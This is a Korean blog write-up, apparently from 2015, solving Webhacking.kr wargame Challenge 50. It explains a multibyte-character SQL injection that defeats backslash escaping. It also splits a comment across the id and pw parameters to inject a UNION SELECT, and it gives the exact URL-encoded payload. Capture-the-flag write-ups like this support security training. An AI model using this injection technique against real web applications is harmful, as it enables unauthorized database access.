티스토리 뷰

Wargame/Webhacking.kr

Challenge 50

do9dark 2015. 9. 5. 00:52


문제 페이지에 나와있는 대로 id와 pw 값을 guset로 제출을 하면 level : 1 이라는 정보를 출력한다.



더 많은 정보를 얻기 위해서 소스를 보면 index.phps 소스 파일이 주어져 있는 것을 볼 수 있다.



index.phps 소스 파일을 보면 Challenge 45 문제와 동일하게 mb_convert_encoding() 함수를 사용하고 있는 것을 볼 수 있다.



select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')


입력할 수 있는 두 개의 값 id, pw 중에서 id에 대해서만 mb_convert_encoding() 함수를 사용하고 있기 때문에 멀티바이트를 이용하여 '(single-quote)를 닫아주고 /* 주석을 열어준다. 그리고 pw 값에 */ 주석을 닫아주게 되면 id 와 pw 사이에 있는 ' and pw=md5(' 가 주석으로 처리가 된다.

따라서 pw 값을 통해서 추가로 union select 3# 이라는 Query를 입력해주면 문제를 풀 수 있다.


URL encode 한 값:

?id=guest%A1%27%2F%2A&pw=%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F3%23


URL decode 한 값:

?id=guest�'/*&pw=*/union/**/select/**/3#


조금 더 자세하게 살펴보면 아래와 같다.


select lv from members where id='guest%a1\'/*' and pw=md5('*/union select 3#')

select lv from members where id='guest%a1\'/*' and pw=md5('*/union select 3#')


붉게 블록처리된 부분이 하나의 문자로 변경이 되면서 '(single-quote) 앞에 붙어있던 \(backslash)가 사라지기 때문에 '(single-quote)를 삽입하여 SQL Injection 공격을 할 수가 있다. 

하지만, id 부분에는 union이 막혀있고 pw 부분은 md5() 함수에 의해서 공격을 정상적으로 할 수가 없다. 따라서 id 부분에 /* 을 넣고 pw 부분에 */을 넣으면 pw 부분을 이용하여 union를 입력할 수 있기 때문에 문제를 풀 수 있다.


select lv from members where id='guest'/*' and pw=md5('*/union select 3#')





'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 55  (0) 2015.09.06
Challenge 54  (0) 2015.09.06
Challenge 53  (0) 2015.09.06
Challenge 52  (0) 2015.09.06
Challenge 51  (0) 2015.09.05
Challenge 49  (0) 2015.09.03
Challenge 48  (0) 2015.08.31
Challenge 47  (0) 2015.08.31
Challenge 46  (0) 2015.08.29
Challenge 45  (0) 2015.08.28
댓글
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
링크
공지사항
Total
Today
Yesterday